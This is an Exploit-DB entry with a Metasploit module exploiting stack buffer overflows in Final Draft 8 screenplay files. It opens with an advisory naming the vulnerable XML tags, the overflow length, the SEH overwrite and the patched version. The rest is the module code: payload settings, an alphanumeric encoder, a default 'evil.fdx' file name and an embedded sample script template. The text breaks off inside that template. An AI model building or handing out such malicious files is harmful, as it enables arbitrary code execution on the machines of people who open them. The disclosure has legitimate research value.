Exploit-DB #18184
Description: Final Draft 8 - Multiple Stack Buffer Overflows (Metasploit)
Type: local
Platform: windows
Date: 2011-12-01
Author: Nick Freeman

Exploit:
#Name : Final Draft 8 Multiple Stack Buffer Overflows 
#Vendor Website : http://www.finaldraft.com/index.php 
#Date Released : 29/11/2011 
#Affected Software : Final Draft < 8.02 
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com has discovered several file format vulnerabilities in .fdx and .fdxt files, as used by #the script writing software, Final Draft 8.
#The following XML tag elements were found to be vulnerable to buffer overflows, which can be exploited to #execute arbitrary code under the context of the user running Final Draft 8:
#<Word> in <IgnoredWords>
#  <Transition> in <SmartType>
#  <Location> in <SmartType>
#  <Extension> in <SmartType>
#  <SceneIntro> in <SmartType>
#  <TimeOfDay> in <SmartType>
#  <Character> in <SmartType>
#By crafting a file that contains more than 10,032 characters in one of the above fields, the Final Draft 8 #application will crash as a result of a buffer overflow overwriting the SEH (Structured Exception Handler).

#Solution
#The latest version of Final Draft (version 8.02) remediates this vulnerability. This can be downloaded from #the Final Draft website.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Final Draft 8 File Format Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Final Draft 8. Multiple
					fields are vulnerable to the overflow, however <Word> in <IgnoredWords> is
					the only field to accept mixed-case characters.
			},
			'License'        => MSF_LICENSE,
			'Author' 	     => [ 'vt [nick.freeman@security-assessment.com]' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'URL', 'http://security-assessment.com/files/documents/advisory/Final_Draft-Multiple_Stack_Buffer_Overflows.pdf' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'DisableNops'    => true,
					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EAX',
						}
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Default',
						{
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 29 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'evil.fdx']),
			], self.class)
	end

	def exploit

		template = %Q|<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<FinalDraft DocumentType="Script" Template="No" Version="1">
<Content>
<Paragraph Type="Show/Ep. Title">
<Text>â€˜BONESâ€™</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>Teaser</Text>
</Paragraph>
<Paragraph Number="1" Type="Scene Heading">
<SceneProperties Length="4/8" Page="1" Title=""/>
<Text>Int. Someplace perfectly normal -- day</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>An unassuming crime scene roped off with yellow crime scene tape.  Various cops and </Text>
<Text AdornmentStyle="-1" Background="#FFFFFFFFFFFF" Color="#[PII_REDACTED]00" Font="Courier Final Draft" RevisionID="0" Size="12" Style="">Feds</Text>
<Text> pick over the spot.</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>Booth is leading Brennan to a dusty, desiccated corpse.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>Special agent Booth</Text>
</Paragraph>
<Paragraph Type="Parenthetical">
<Text>(pointing to corpse)</Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Right here.  No one knows what to make of it.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>Brennan </Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Well, thatâ€™s why Iâ€™m here.</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>The default font for this template is Courier Final Draft.  Notice that scenes are numbered at left and right margins and that the Act Breaks are in bold type.</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>More forensic banter leads us to the end of the teaser.</Text>
</Paragraph>
<Paragraph Type="End Of Act">
<Text>End of teaser</Text>
</Paragraph>
<Paragraph Type="New Act">
<Text>Act 1</Text>
</Paragraph>
<Paragraph Number="2" Type="Scene Heading">
<SceneProperties Length="4/8" Page="2" Title=""/>
<Text>Int. </Text>
<Text AdornmentStyle="-1" Background="#FFFFFFFFFFFF" Color="#[PII_REDACTED]00" Font="Courier Final Draft" RevisionID="0" Size="12" Style="AllCaps">Smithsonian</Text>
<Text> medico-legal lab -- day</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>Brennan, Zack, Hodgins and Booth are all standing around the exam table where the corpse has been laid out.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>Zack</Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Heâ€™s been dead for a while now.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>Dr. Jack hodgins</Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Your genius is terrifying.</Text>
</Paragraph>
<Paragraph Type="Action">
<Text>Booth enters looking frustrated.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>Special agent booth</Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Any results yet?  I got some serious heat on me about this case.</Text>
</Paragraph>
<Paragraph Type="Character">
<Text>BRENNAN</Text>
</Paragraph>
<Paragraph Type="Dialogue">
<Text>Itâ€™s not cut and dried, Booth.  If you look at the occipital blah </Text>
<Text AdornmentStyle="-1" Background="#FFFFFFFFFFFF" Color="#[PII_REDACTED]00" Font="Courier Final Draft" RevisionID="0" Size="12" Style="">blah</Text>
<Text> </Text>
<Text AdornmentStyle="-1" Background="#FFFFFFFFFFFF" Color="#[PII_REDACTED]00" Font="Courier Final Draft" RevisionID="0" Size="12" Style="">blah</Text>
<Text> and the